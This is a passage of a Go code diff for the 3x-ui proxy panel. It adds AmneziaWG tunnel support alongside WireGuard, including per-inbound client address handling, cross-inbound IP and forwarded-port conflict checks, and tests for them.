inboundSvc.applyLocalAmneziaWG(oldInbound.Id)
} else {
for _, client := range clients {
if len(client.Email) == 0 {
@@ -550,7 +650,7 @@ func (s *ClientService) UpdateInboundClient(inboundSvc *InboundService, data *mo
newClientId = clients[0].Email
case "hysteria":
newClientId = clients[0].Auth
case "wireguard":
case "wireguard", "amneziawg":
newClientId = clients[0].Email
case "mtproto":
newClientId = clients[0].Email
@@ -590,10 +690,10 @@ func (s *ClientService) UpdateInboundClient(inboundSvc *InboundService, data *mo
}
}
// WireGuard keys are never rotated by an edit: when the incoming payload omits
// them (a metadata-only change), carry the stored credentials forward so the
// settings JSON and the running peer keep the client's identity.
if oldInbound.Protocol == model.WireGuard && clientIndex >= 0 && clientIndex < len(oldClients) {
// WireGuard/AmneziaWG keys are never rotated by an edit: when the incoming
// payload omits them (a metadata-only change), carry the stored credentials
// forward so the settings JSON and the running peer keep the client's identity.
if (oldInbound.Protocol == model.WireGuard || oldInbound.Protocol == model.AmneziaWG) && clientIndex >= 0 && clientIndex < len(oldClients) {
old := oldClients[clientIndex]
if clients[0].PrivateKey == "" {
clients[0].PrivateKey = old.PrivateKey
@@ -630,6 +730,23 @@ func (s *ClientService) UpdateInboundClient(inboundSvc *InboundService, data *mo
if clients[0].KeepAlive == 0 {
clients[0].KeepAlive = old.KeepAlive
}
// ForwardedPorts is AmneziaWG-only (WireGuard's own inbound never
// reads it), same carry-forward reasoning as the fields above: a
// partial edit (e.g. a Telegram-bot enable/expiry toggle, or an API
// call that omits the field) must not silently drop a client's
// existing port-forwarding spec.
if oldInbound.Protocol == model.AmneziaWG && clients[0].ForwardedPorts == "" {
clients[0].ForwardedPorts = old.ForwardedPorts
}
}
if oldInbound.Protocol == model.AmneziaWG {
portCtx, err := inboundSvc.loadPortConflictContext(database.GetDB())
if err != nil {
return false, err
}
if hit := inboundSvc.checkForwardedPortsConflict(portCtx, clients[0].ForwardedPorts); hit != "" {
return false, common.NewError("amneziawg: forwardedPorts collides with", hit)
}
}
var oldSettings map[string]any
@@ -670,7 +787,7 @@ func (s *ClientService) UpdateInboundClient(inboundSvc *InboundService, data *mo
if v, ok2 := newMap["subId"].(string); ok2 {
clients[0].SubID = v
}
if oldInbound.Protocol == model.WireGuard {
if oldInbound.Protocol == model.WireGuard || oldInbound.Protocol == model.AmneziaWG {
newMap["privateKey"] = clients[0].PrivateKey
newMap["publicKey"] = clients[0].PublicKey
newMap["allowedIPs"] = clients[0].AllowedIPs
@@ -680,6 +797,9 @@ func (s *ClientService) UpdateInboundClient(inboundSvc *InboundService, data *mo
if clients[0].KeepAlive > 0 {
newMap["keepAlive"] = clients[0].KeepAlive
}
if oldInbound.Protocol == model.AmneziaWG && clients[0].ForwardedPorts != "" {
newMap["forwardedPorts"] = clients[0].ForwardedPorts
}
}
if oldClientMap != nil && sameClientConfigExceptUpdatedAt(oldClientMap, newMap) {
if v, ok2 := oldClientMap["updated_at"]; ok2 {
@@ -754,6 +874,17 @@ func (s *ClientService) UpdateInboundClient(inboundSvc *InboundService, data *mo
// Persist client stats + inbound atomically, serialized against the traffic
// poll to avoid the cross-transaction lock-order deadlock (runSerializedTx).
if txErr := runSerializedTx(func(tx *gorm.DB) error {
// Same re-check-inside-the-writer rule as AddInboundClient (#6225):
// the pre-tx pass can race a concurrent writer on another inbound.
if oldInbound.Protocol == model.AmneziaWG {
txPortCtx, pErr := inboundSvc.loadPortConflictContext(tx)
if pErr != nil {
return pErr
}
if hit := inboundSvc.checkForwardedPortsConflict(txPortCtx, clients[0].ForwardedPorts); hit != "" {
return common.NewError("amneziawg: forwardedPorts collides with", hit)
}
}
if len(clients[0].Email) > 0 {
if len(oldEmail) > 0 {
emailUnchanged := strings.EqualFold(oldEmail, clients[0].Email)
@@ -846,6 +977,8 @@ func (s *ClientService) UpdateInboundClient(inboundSvc *InboundService, data *mo
needRestart = true
} else if oldInbound.Protocol == model.MTProto {
inboundSvc.applyLocalMtproto(oldInbound.Id)
} else if oldInbound.Protocol == model.AmneziaWG {
inboundSvc.applyLocalAmneziaWG(oldInbound.Id)
} else {
if oldClients[clientIndex].Enable {
err1 := rt.RemoveUser(context.Background(), oldInbound, oldEmail)
@@ -1023,6 +1156,10 @@ func (s *ClientService) DelInboundClientByEmail(inboundSvc *InboundService, inbo
// it (removing the last client stops the sidecar) regardless of the
// client's enable state.
inboundSvc.applyLocalMtproto(oldInbound.Id)
} else if oldInbound.Protocol == model.AmneziaWG {
// Same reasoning as MTProto above: the interface config is
// regenerated from the full peer set, so any delete re-applies it.
inboundSvc.applyLocalAmneziaWG(oldInbound.Id)
} else if needApiDel {
// Local inbound: a disabled client isn't in the running Xray, so only
// a live one (needApiDel) needs an API removal.
@@ -0,0 +1,105 @@
package service
import (
"testing"
"github.com/mhsanaei/3x-ui/v3/internal/database"
"github.com/mhsanaei/3x-ui/v3/internal/database/model"
)
// otherTunnelAllowedIPs must see across protocols (a WireGuard inbound's
// client address collides with an AmneziaWG one just as easily as two
// AmneziaWG inbounds would), must exclude the inbound doing the asking, and
// must ignore inbounds that aren't WireGuard/AmneziaWG entirely.
func TestOtherTunnelAllowedIPs(t *testing.T) {
setupConflictDB(t)
seedInboundConflict(t, "wg-1", "0.0.0.0", 51820, model.WireGuard, ``, `{"clients":[{"email":"a@wg","allowedIPs":["10.0.0.5/32"]}]}`)
seedInboundConflict(t, "awg-1", "0.0.0.0", 443, model.AmneziaWG, ``, `{"server":{"subnetIp":"10.8.1.0","subnetCidr":24},"clients":[{"email":"b@awg","allowedIPs":["10.8.1.21/32"]}]}`)
seedInboundConflict(t, "vless-1", "0.0.0.0", 8443, model.VLESS, `{"network":"tcp"}`, `{"clients":[{"email":"c@vless"}]}`)
var wgInbound model.Inbound
if err := database.GetDB().Where("tag = ?", "wg-1").First(&wgInbound).Error; err != nil {
t.Fatalf("read seeded wg row: %v", err)
}
svc := &ClientService{}
inboundSvc := &InboundService{}
used, err := svc.otherTunnelAllowedIPs(database.GetDB(), inboundSvc, wgInbound.Id, nil)
if err != nil {
t.Fatalf("otherTunnelAllowedIPs: %v", err)
}
if len(used) != 1 {
t.Fatalf("expected exactly one cross-inbound address (self excluded, vless ignored), got %v", used)
}
label, ok := used["10.8.1.21/32"]
if !ok {
t.Fatalf("expected the awg inbound's address to be reported as used, got %v", used)
}
if label == "" {
t.Fatal("expected a non-empty description of which inbound holds the address")
}
}
// TestOtherTunnelAllowedIPsExcludesSelfEmail is a regression test for a real
// bug in ClientService.Attach: attaching one identity to multiple
// WireGuard/AmneziaWG inbounds in the same call copies that identity's own
// stored AllowedIPs into every inbound it processes (by design -- the same
// person should get the same tunnel address on every protocol they use).
// Attach's loop calls addInboundClient once per inbound, and each of those
// calls independently computes otherTunnelAllowedIPs -- so by the second
// inbound in the loop, the first inbound's now-successful copy of the
// identity's own address looked like a cross-inbound collision against
// itself, and the attach failed with exactly the error a real user hit:
// "wireguard: allowedIPs entry 10.8.1.21/32 is already used by a client on
// inbound 'awg' (#10)". selfEmails must exclude this identity's own entries
// on sibling inbounds -- safe to do unconditionally because ClientRecord.Email
// is globally unique, so a same-email match can only ever be this identity,
// never a genuine different client.
func TestOtherTunnelAllowedIPsExcludesSelfEmail(t *testing.T) {
setupConflictDB(t)
// Both shared@id (to be excluded) and other@awg (a genuinely different
// client, must still be reported) live on the SAME sibling inbound --
// otherTunnelAllowedIPs already excludes the asking inbound entirely via
// excludeID, so putting other@awg there instead would make it invisible
// to the scan regardless of the selfEmails fix, proving nothing.
seedInboundConflict(t, "awg-1", "0.0.0.0", 443, model.AmneziaWG, ``, `{"server":{"subnetIp":"10.8.1.0","subnetCidr":24},"clients":[{"email":"shared@id","allowedIPs":["10.8.1.21/32"]},{"email":"other@awg","allowedIPs":["10.8.1.5/32"]}]}`)
seedInboundConflict(t, "wg-1", "0.0.0.0", 51820, model.WireGuard, ``, `{"clients":[]}`)
var wgInbound model.Inbound
if err := database.GetDB().Where("tag = ?", "wg-1").First(&wgInbound).Error; err != nil {
t.Fatalf("read seeded wg row: %v", err)
}
svc := &ClientService{}
inboundSvc := &InboundService{}
used, err := svc.otherTunnelAllowedIPs(database.GetDB(), inboundSvc, wgInbound.Id, map[string]struct{}{"shared@id": {}})
if err != nil {
t.Fatalf("otherTunnelAllowedIPs: %v", err)
}
if _, stillThere := used["10.8.1.21/32"]; stillThere {
t.Fatalf("shared@id's own address on the awg inbound must be excluded from used, got %v", used)
}
if _, ok := used["10.8.1.5/32"]; !ok {
t.Fatalf("a genuinely different client's address must still be reported as used, got %v", used)
}
}
func TestOtherTunnelAllowedIPsEmptyWhenNoSiblings(t *testing.T) {
setupConflictDB(t)
seedInboundConflict(t, "wg-1", "0.0.0.0", 51820, model.WireGuard, ``, `{"clients":[{"email":"a@wg","allowedIPs":["10.0.0.5/32"]}]}`)
var wgInbound model.Inbound
if err := database.GetDB().Where("tag = ?", "wg-1").First(&wgInbound).Error; err != nil {
t.Fatalf("read seeded wg row: %v", err)
}
svc := &ClientService{}
inboundSvc := &InboundService{}
used, err := svc.otherTunnelAllowedIPs(database.GetDB(), inboundSvc, wgInbound.Id, nil)
if err != nil {
t.Fatalf("otherTunnelAllowedIPs: %v", err)
}
if len(used) != 0 {
t.Fatalf("expected no cross-inbound addresses with only one tunnel inbound present, got %v", used)
}
}
+35
View File
@@ -133,6 +133,41 @@ func (s *ClientService) GetInboundIdsForRecord(id int) ([]int, error) {
return ids, nil
}
// TunnelAllowedIPsByInbound returns, for each given WireGuard/AmneziaWG
// inbound id, the real AllowedIPs this email currently has on that specific
// inbound's own settings JSON -- joined comma-separated, matching the form
// value shape a single AllowedIPs field already uses. Non-tunnel inbounds
// and ids the email isn't actually attached to are simply absent from the
// result (not an error): callers use this to seed a per-protocol display
// field, and ClientRecord's own single AllowedIPs column can't tell two
// different protocol addresses apart, which is exactly the gap this closes.
func (s *ClientService) TunnelAllowedIPsByInbound(inboundSvc *InboundService, email string, inboundIds []int) (map[int]string, error) {
result := make(map[int]string, len(inboundIds))
for _, ibId := range inboundIds {
inbound, err := inboundSvc.GetInbound(ibId)
if err != nil {
if errors.Is(err, gorm.ErrRecordNotFound) {
continue
}
return nil, err
}
if inbound.Protocol != model.WireGuard && inbound.Protocol != model.AmneziaWG {
continue
}
clients, err := inboundSvc.GetClients(inbound)
if err != nil {
return nil, err
}
for i := range clients {
if strings.EqualFold(clients[i].Email, email) {
result[ibId] = strings.Join(clients[i].AllowedIPs, ",")
break
}
}
}
return result, nil
}
func (s *ClientService) List() ([]ClientWithAttachments, error) {
db := database.GetDB()
var rows []model.ClientRecord
@@ -0,0 +1,213 @@
package service
import (
"testing"
"github.com/mhsanaei/3x-ui/v3/internal/database/model"
)
// seedDualProtocolClient creates a WireGuard inbound and an AmneziaWG inbound
// (real, distinct subnets: 10.0.0.0/24 and 10.8.1.0/24), attaches the same
// email to both with its own correct, protocol-appropriate address, and
// returns the two inbounds plus the shared client record id.
func seedDualProtocolClient(t *testing.T, email, wgAddr, awgAddr string) (wgIb, awgIb *model.Inbound, recordId int) {
t.Helper()
svc := &ClientService{}
wgClient := model.Client{Email: email, SubID: "sub-" + email, Enable: true, AllowedIPs: []string{wgAddr}}
wgIb = mkInbound(t, 51820, model.WireGuard, clientsSettings(t, []model.Client{wgClient}))
if err := svc.SyncInbound(nil, wgIb.Id, []model.Client{wgClient}); err != nil {
t.Fatalf("seed wg linkage: %v", err)
}
awgClient := model.Client{Email: email, SubID: "sub-" + email, Enable: true, AllowedIPs: []string{awgAddr}}
awgIb = mkInbound(t, 443, model.AmneziaWG, clientsSettings(t, []model.Client{awgClient}))
if err := svc.SyncInbound(nil, awgIb.Id, []model.Client{awgClient}); err != nil {
t.Fatalf("seed awg linkage: %v", err)
}
recordId = lookupClientRecord(t, email).Id
return wgIb, awgIb, recordId
}
func inboundAllowedIPs(t *testing.T, inboundSvc *InboundService, ibId int, email string) []string {
t.Helper()
ib, err := inboundSvc.GetInbound(ibId)
if err != nil {
t.Fatalf("GetInbound %d: %v", ibId, err)
}
clients, err := inboundSvc.GetClients(ib)
if err != nil {
t.Fatalf("GetClients %d: %v", ibId, err)
}
for i := range clients {
if clients[i].Email == email {
return clients[i].AllowedIPs
}
}
t.Fatalf("email %q not found on inbound %d", email, ibId)
return nil
}
// TestUpdateBroadcastAllowedIPsDoesNotOverwriteOtherInboundWhenMismatched is a
// regression test for the same bug class already fixed for Attach
// (addressesFitAmneziaWGInbound), but on the far more common Update path: the
// edit-client form sends one shared AllowedIPs value, and Update's per-inbound
// loop used to broadcast it verbatim to every attached inbound, including one
// it doesn't belong to. A client attached to both wg (10.0.0.5/32) and awg
// (10.8.1.5/32) saving with the wg-labeled value as the single shared field
// must not silently overwrite the awg inbound's own, unrelated address.
func TestUpdateBroadcastAllowedIPsDoesNotOverwriteOtherInboundWhenMismatched(t *testing.T) {
setupBulkDB(t)
inboundSvc := &InboundService{}
svc := &ClientService{}
wgIb, awgIb, recId := seedDualProtocolClient(t, "dual@x", "10.0.0.5/32", "10.8.1.5/32")
updated := model.Client{Email: "dual@x", Enable: true, AllowedIPs: []string{"10.0.0.5/32"}}
if _, err := svc.Update(inboundSvc, recId, updated, 0); err != nil {
t.Fatalf("Update: %v", err)
}
if got := inboundAllowedIPs(t, inboundSvc, wgIb.Id, "dual@x"); len(got) != 1 || got[0] != "10.0.0.5/32" {
t.Fatalf("wg AllowedIPs = %v, want [10.0.0.5/32]", got)
}
if got := inboundAllowedIPs(t, inboundSvc, awgIb.Id, "dual@x"); len(got) != 1 || got[0] != "10.8.1.5/32" {
t.Fatalf("the real bug: awg AllowedIPs = %v, want unchanged [10.8.1.5/32] (must not inherit the wg-labeled shared value)", got)
}
}
// TestUpdateAllowedIPsByInboundAppliesDistinctValuesPerInbound covers the new
// mechanism the two-field client-edit form uses to intentionally change both
// addresses in one save: distinct, valid, per-inbound override values must
// each land on their own inbound.
func TestUpdateAllowedIPsByInboundAppliesDistinctValuesPerInbound(t *testing.T) {
setupBulkDB(t)
inboundSvc := &InboundService{}
svc := &ClientService{}
wgIb, awgIb, recId := seedDualProtocolClient(t, "dual@x", "10.0.0.5/32", "10.8.1.5/32")
updated := model.Client{
Email: "dual@x",
Enable: true,
AllowedIPsByInbound: map[int][]string{
wgIb.Id: {"10.0.0.9/32"},
awgIb.Id: {"10.8.1.9/32"},
},
}
if _, err := svc.Update(inboundSvc, recId, updated, 0); err != nil {
t.Fatalf("Update: %v", err)
}
if got := inboundAllowedIPs(t, inboundSvc, wgIb.Id, "dual@x"); len(got) != 1 || got[0] != "10.0.0.9/32" {
t.Fatalf("wg AllowedIPs = %v, want [10.0.0.9/32]", got)
}
if got := inboundAllowedIPs(t, inboundSvc, awgIb.Id, "dual@x"); len(got) != 1 || got[0] != "10.8.1.9/32" {
t.Fatalf("awg AllowedIPs = %v, want [10.8.1.9/32]", got)
}
}
// TestCreateSharedAllowedIPsThatDontFitAmneziaWGGetsFreshAllocation is
// Create's counterpart to the Update regression above: adding a brand-new
// client to both wg and awg inbounds at once with a single manually-typed
// address must not hand the awg inbound an address from the wrong subnet --
// it must fall back to auto-allocating a real, correctly-scoped address
// instead, exactly as if AllowedIPs had been left empty for that inbound.
func TestCreateSharedAllowedIPsThatDontFitAmneziaWGGetsFreshAllocation(t *testing.T) {
setupBulkDB(t)
inboundSvc := &InboundService{}
svc := &ClientService{}
wgIb := mkInbound(t, 51820, model.WireGuard, wgServerSettings())
awgIb := mkInbound(t, 443, model.AmneziaWG, amneziawgClientTestSettings)
payload := &ClientCreatePayload{
Client: model.Client{Email: "new@x", Enable: true, AllowedIPs: []string{"10.0.0.7/32"}},
InboundIds: []int{wgIb.Id, awgIb.Id},
}
if _, err := svc.Create(inboundSvc, payload); err != nil {
t.Fatalf("Create: %v", err)
}
if got := inboundAllowedIPs(t, inboundSvc, wgIb.Id, "new@x"); len(got) != 1 || got[0] != "10.0.0.7/32" {
t.Fatalf("wg AllowedIPs = %v, want [10.0.0.7/32]", got)
}
got := inboundAllowedIPs(t, inboundSvc, awgIb.Id, "new@x")
if len(got) != 1 {
t.Fatalf("awg AllowedIPs = %v, want exactly one freshly allocated address", got)
}
if got[0] == "10.0.0.7/32" {
t.Fatal("the real bug: awg inbound inherited the wg-shaped shared address instead of allocating its own")
}
if !addressesFitAmneziaWGInbound(got, awgIb) {
t.Fatalf("freshly allocated awg address %v does not actually fit the awg inbound's own subnet", got)
}
}
// TestCreateAllowedIPsByInboundAppliesDistinctValuesPerInbound is Create's
// counterpart to the Update explicit-override test: the add-client form,
// when attaching to both wg and awg at once with the two-field UI, must be
// able to give each inbound its own manually chosen address in one call.
func TestCreateAllowedIPsByInboundAppliesDistinctValuesPerInbound(t *testing.T) {
setupBulkDB(t)
inboundSvc := &InboundService{}
svc := &ClientService{}
wgIb := mkInbound(t, 51820, model.WireGuard, wgServerSettings())
awgIb := mkInbound(t, 443, model.AmneziaWG, amneziawgClientTestSettings)
payload := &ClientCreatePayload{
Client: model.Client{
Email: "new@x",
Enable: true,
AllowedIPsByInbound: map[int][]string{
wgIb.Id: {"10.0.0.9/32"},
awgIb.Id: {"10.8.1.9/32"},
},
},
InboundIds: []int{wgIb.Id, awgIb.Id},
}
if _, err := svc.Create(inboundSvc, payload); err != nil {
t.Fatalf("Create: %v", err)
}
if got := inboundAllowedIPs(t, inboundSvc, wgIb.Id, "new@x"); len(got) != 1 || got[0] != "10.0.0.9/32" {
t.Fatalf("wg AllowedIPs = %v, want [10.0.0.9/32]", got)
}
if got := inboundAllowedIPs(t, inboundSvc, awgIb.Id, "new@x"); len(got) != 1 || got[0] != "10.8.1.9/32" {
t.Fatalf("awg AllowedIPs = %v, want [10.8.1.9/32]", got)
}
}
// TestTunnelAllowedIPsByInbound covers the GET-client read side: a two-field
// display needs the real, distinct per-inbound address for each protocol,
// which ClientRecord's own single AllowedIPs column cannot represent.
func TestTunnelAllowedIPsByInbound(t *testing.T) {
setupBulkDB(t)
inboundSvc := &InboundService{}
svc := &ClientService{}
wgIb, awgIb, _ := seedDualProtocolClient(t, "dual@x", "10.0.0.5/32", "10.8.1.5/32")
vlessIb := mkInbound(t, 8443, model.VLESS, clientsSettings(t, nil))
got, err := svc.TunnelAllowedIPsByInbound(inboundSvc, "dual@x", []int{wgIb.Id, awgIb.Id, vlessIb.Id, 999999})
if err != nil {
t.Fatalf("TunnelAllowedIPsByInbound: %v", err)
}
if len(got) != 2 {
t.Fatalf("result = %v, want exactly 2 entries (vless and the nonexistent id must be skipped)", got)
}
if got[wgIb.Id] != "10.0.0.5/32" {
t.Fatalf("wg entry = %q, want 10.0.0.5/32", got[wgIb.Id])
}
if got[awgIb.Id] != "10.8.1.5/32" {
t.Fatalf("awg entry = %q, want 10.8.1.5/32", got[awgIb.Id])
}
if _, ok := got[vlessIb.Id]; ok {
t.Fatalf("a non-tunnel (VLESS) inbound must not appear in the result")
}
if _, ok := got[999999]; ok {
t.Fatalf("a nonexistent inbound id must not appear in the result")
}
}
+77 -6
View File
@@ -1,6 +1,8 @@
package service
import (
"encoding/json"
"fmt"
"net/netip"
"strconv"
"strings"
@@ -12,6 +14,41 @@ import (
const defaultWireguardBase = "10.0.0.0/24"
// wireguardSubnetSettings is the subset of a WireGuard inbound's top-level
// settings JSON this package cares about for subnet resolution. Unlike
// AmneziaWG (whose whole settings shape is a typed struct in
// internal/amneziawg), plain WireGuard has no dedicated Go struct on this
// fork's side at all -- everything else is handled as untyped
// map[string]any -- so this stays a narrow, local decode rather than
// introducing a full struct just for two fields.
type wireguardSubnetSettings struct {
SubnetIP string `json:"subnetIp"`
SubnetCIDR int `json:"subnetCidr"`
}
// explicitWireguardSubnetBase resolves an admin-configured subnet base out
// of settingsJSON's own subnetIp/subnetCidr fields, mirroring AmneziaWG's
// defaultAmneziaWGSubnetBases. Returns "" when either field is unset/empty
// or doesn't parse as a valid prefix -- callers fall back to
// wireguardAllocationBase's existing infer-from-clients behavior in that
// case, so an inbound saved before this field existed (or one that simply
// never set it) keeps behaving exactly as it always has.
func explicitWireguardSubnetBase(settingsJSON string) string {
var parsed wireguardSubnetSettings
if err := json.Unmarshal([]byte(settingsJSON), &parsed); err != nil {
return ""
}
ip := strings.TrimSpace(parsed.SubnetIP)
if ip == "" || parsed.SubnetCIDR <= 0 {
return ""
}
base := fmt.Sprintf("%s/%d", ip, parsed.SubnetCIDR)
if _, err := netip.ParsePrefix(base); err != nil {
return ""
}
return base
}
func keepAliveStr(seconds int) string {
if seconds <= 0 {
return ""
@@ -48,7 +85,14 @@ func wireguardAllocationBase(used []string, fallback string) string {
const wireguardPoolFloorBits = 16
func allocateWireguardAddress(used []string, base string) (string, error) {
// allocateWireguardAddress returns the first free single-host address in base
// not already in used, starting at the second host (the server holds the first).
//
// allowWidening retries in the containing /16 once base's pool is exhausted.
// True for Xray-native WireGuard, whose AllowedIPs aren't tied to a kernel
// interface subnet; AmneziaWG must pass false and fail loudly instead, since an
// address outside its interface's own Address would be silently unroutable.
func allocateWireguardAddress(used []string, base string, allowWidening bool) (string, error) {
if base == "" {
base = defaultWireguardBase
}
@@ -56,6 +100,10 @@ func allocateWireguardAddress(used []string, base string) (string, error) {
if err != nil {
return "", err
}
hostBits := "32"
if prefix.Addr().Is6() {
hostBits = "128"
}
taken := make(map[netip.Addr]struct{}, len(used))
for _, u := range used {
if a := wireguardHostAddr(u); a.IsValid() {
@@ -63,7 +111,7 @@ func allocateWireguardAddress(used []string, base string) (string, error) {
}
}
scopes := []netip.Prefix{prefix}
if prefix.Addr().Is4() && prefix.Bits() > wireguardPoolFloorBits {
if allowWidening && prefix.Addr().Is4() && prefix.Bits() > wireguardPoolFloorBits {
if wider, wErr := prefix.Addr().Prefix(wireguardPoolFloorBits); wErr == nil {
scopes = append(scopes, wider)
}
@@ -72,7 +120,7 @@ func allocateWireguardAddress(used []string, base string) (string, error) {
addr := scope.Masked().Addr().Next().Next()
for scope.Contains(addr) {
if _, ok := taken[addr]; !ok {
return addr.String() + "/32", nil
return addr.String() + "/" + hostBits, nil
}
addr = addr.Next()
}
@@ -127,12 +175,32 @@ func wireguardAllowedIPsCollision(entries, used []string) string {
// inbound's subnet. It mutates both the typed clients and the parallel raw client
// maps that get persisted into the inbound settings. Existing values are never
// overwritten, so editing a client never rotates its keys.
func defaultWireguardClients(existing, clients []model.Client, interfaceClients []any) error {
//
// crossInboundUsed maps AllowedIPs already claimed by clients on every OTHER
// WireGuard/AmneziaWG inbound on this panel to a human-readable description
// of which inbound holds it (see otherTunnelAllowedIPs). It is folded into
// used only AFTER the base subnet is resolved, so an unrelated inbound's
// subnet can never skew this inbound's own base-subnet resolution — it only
// ever narrows which addresses are free to hand out or accept, and lets a
// manual-entry collision name the other inbound instead of just the address.
//
// settingsJSON is checked first for an admin-configured subnetIp/subnetCidr
// (see explicitWireguardSubnetBase) — set explicitly, that always wins.
// Only when it's unset does base fall back to inferring from existing
// clients' own addresses, and finally to defaultWireguardBase, exactly as
// before this field existed.
func defaultWireguardClients(settingsJSON string, existing, clients []model.Client, interfaceClients []any, crossInboundUsed map[string]string) error {
used := make([]string, 0)
for i := range existing {
used = append(used, existing[i].AllowedIPs...)
}
base := wireguardAllocationBase(used, defaultWireguardBase)
base := explicitWireguardSubnetBase(settingsJSON)
if base == "" {
base = wireguardAllocationBase(used, defaultWireguardBase)
}
for addr := range crossInboundUsed {
used = append(used, addr)
}
for i := range clients {
c := &clients[i]
if c.PrivateKey == "" && c.PublicKey == "" {
@@ -150,7 +218,7 @@ func defaultWireguardClients(existing, clients []model.Client, interfaceClients
c.PublicKey = pub
}
if len(c.AllowedIPs) == 0 {
addr, err := allocateWireguardAddress(used, base)
addr, err := allocateWireguardAddress(used, base, true)
if err != nil {
return err
}
@@ -164,6 +232,9 @@ func defaultWireguardClients(existing, clients []model.Client, interfaceClients
return common.NewError("wireguard: allowedIPs has no usable entry")
}
if hit := wireguardAllowedIPsCollision(normalized, used); hit != "" {
if where := crossInboundUsed[hit]; where != "" {
return common.NewError("wireguard: allowedIPs entry", hit, "is already used by a client on", where)
}
return common.NewError("wireguard: allowedIPs entry already used by another client:", hit)
}
c.AllowedIPs = normalized
+134 -12
View File
@@ -2,6 +2,7 @@ package service
import (
"fmt"
"strings"
"testing"
"github.com/mhsanaei/3x-ui/v3/internal/database/model"
@@ -26,7 +27,7 @@ func TestAllocateWireguardAddress(t *testing.T) {
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
got, err := allocateWireguardAddress(tt.used, tt.base)
got, err := allocateWireguardAddress(tt.used, tt.base, true)
if tt.err {
if err == nil {
t.Fatalf("expected error, got %q", got)
@@ -46,7 +47,7 @@ func TestAllocateWireguardAddress(t *testing.T) {
func TestDefaultWireguardClientsGeneratesKeypair(t *testing.T) {
clients := []model.Client{{Email: "a@wg"}}
ifaces := []any{map[string]any{"email": "a@wg"}}
if err := defaultWireguardClients(nil, clients, ifaces); err != nil {
if err := defaultWireguardClients("", nil, clients, ifaces, nil); err != nil {
t.Fatalf("defaultWireguardClients: %v", err)
}
c := clients[0]
@@ -73,7 +74,7 @@ func TestDefaultWireguardClientsDerivesPublicKey(t *testing.T) {
}
clients := []model.Client{{Email: "b@wg", PrivateKey: priv}}
ifaces := []any{map[string]any{"email": "b@wg"}}
if err := defaultWireguardClients(nil, clients, ifaces); err != nil {
if err := defaultWireguardClients("", nil, clients, ifaces, nil); err != nil {
t.Fatalf("defaultWireguardClients: %v", err)
}
if clients[0].PublicKey != wantPub {
@@ -89,7 +90,7 @@ func TestDefaultWireguardClientsPreservesProvided(t *testing.T) {
AllowedIPs: []string{"10.0.0.50/32"},
}}
ifaces := []any{map[string]any{"email": "c@wg"}}
if err := defaultWireguardClients(nil, clients, ifaces); err != nil {
if err := defaultWireguardClients("", nil, clients, ifaces, nil); err != nil {
t.Fatalf("defaultWireguardClients: %v", err)
}
if clients[0].PrivateKey != "keep-priv" || clients[0].PublicKey != "keep-pub" {
@@ -124,7 +125,7 @@ func TestDefaultWireguardClientsHonorsExistingSubnet(t *testing.T) {
existing := []model.Client{{Email: "old@wg", AllowedIPs: []string{"172.16.0.2/32"}}}
clients := []model.Client{{Email: "new@wg"}}
ifaces := []any{map[string]any{"email": "new@wg"}}
if err := defaultWireguardClients(existing, clients, ifaces); err != nil {
if err := defaultWireguardClients("", existing, clients, ifaces, nil); err != nil {
t.Fatalf("defaultWireguardClients: %v", err)
}
if got := clients[0].AllowedIPs[0]; got != "172.16.0.3/32" {
@@ -138,7 +139,7 @@ func TestAllocateWireguardAddressWidensPastFullSlash24(t *testing.T) {
used = append(used, fmt.Sprintf("10.0.0.%d/32", i))
}
got, err := allocateWireguardAddress(used, "10.0.0.0/24")
got, err := allocateWireguardAddress(used, "10.0.0.0/24", true)
if err != nil {
t.Fatalf("allocate with a full /24: %v", err)
}
@@ -147,7 +148,7 @@ func TestAllocateWireguardAddressWidensPastFullSlash24(t *testing.T) {
}
used = append(used, got)
next, err := allocateWireguardAddress(used, "10.0.0.0/24")
next, err := allocateWireguardAddress(used, "10.0.0.0/24", true)
if err != nil {
t.Fatalf("allocate after widening: %v", err)
}
@@ -157,7 +158,7 @@ func TestAllocateWireguardAddressWidensPastFullSlash24(t *testing.T) {
}
func TestAllocateWireguardAddressFillsItsOwnSlash24First(t *testing.T) {
got, err := allocateWireguardAddress([]string{"172.16.0.2/32"}, "172.16.0.0/24")
got, err := allocateWireguardAddress([]string{"172.16.0.2/32"}, "172.16.0.0/24", true)
if err != nil {
t.Fatalf("allocateWireguardAddress: %v", err)
}
@@ -166,10 +167,23 @@ func TestAllocateWireguardAddressFillsItsOwnSlash24First(t *testing.T) {
}
}
func TestAllocateWireguardAddressNoWideningFailsWhenPoolExhausted(t *testing.T) {
used := make([]string, 0, 254)
for i := 2; i <= 255; i++ {
used = append(used, fmt.Sprintf("10.0.0.%d/32", i))
}
// allowWidening=false: AmneziaWG's own call. A full /24 must fail loudly
// instead of handing out an address from the containing /16 that the
// kernel interface's own Address never routes (PR #6105 Finding 12).
if _, err := allocateWireguardAddress(used, "10.0.0.0/24", false); err == nil {
t.Fatal("a full /24 with widening disabled must fail, not widen")
}
}
func TestDefaultWireguardClientsAllocatesDistinctIPs(t *testing.T) {
clients := []model.Client{{Email: "x@wg"}, {Email: "y@wg"}}
ifaces := []any{map[string]any{"email": "x@wg"}, map[string]any{"email": "y@wg"}}
if err := defaultWireguardClients(nil, clients, ifaces); err != nil {
if err := defaultWireguardClients("", nil, clients, ifaces, nil); err != nil {
t.Fatalf("defaultWireguardClients: %v", err)
}
if clients[0].AllowedIPs[0] == clients[1].AllowedIPs[0] {
@@ -222,7 +236,7 @@ func TestDefaultWireguardClientsHonorsAndValidatesSuppliedAllowedIPs(t *testing.
clients := []model.Client{{Email: "c@wg", AllowedIPs: []string{"10.0.0.9"}}}
ifaces := []any{map[string]any{"email": "c@wg"}}
if err := defaultWireguardClients(existing, clients, ifaces); err != nil {
if err := defaultWireguardClients("", existing, clients, ifaces, nil); err != nil {
t.Fatalf("defaultWireguardClients: %v", err)
}
if len(clients[0].AllowedIPs) != 1 || clients[0].AllowedIPs[0] != "10.0.0.9/32" {
@@ -230,13 +244,121 @@ func TestDefaultWireguardClientsHonorsAndValidatesSuppliedAllowedIPs(t *testing.
}
dup := []model.Client{{Email: "d@wg", AllowedIPs: []string{"10.0.0.2/32"}}}
err := defaultWireguardClients(existing, dup, []any{map[string]any{"email": "d@wg"}})
err := defaultWireguardClients("", existing, dup, []any{map[string]any{"email": "d@wg"}}, nil)
if err == nil {
t.Fatal("duplicate allowedIPs across clients must be rejected")
}
bad := []model.Client{{Email: "e@wg", AllowedIPs: []string{"not-an-ip"}}}
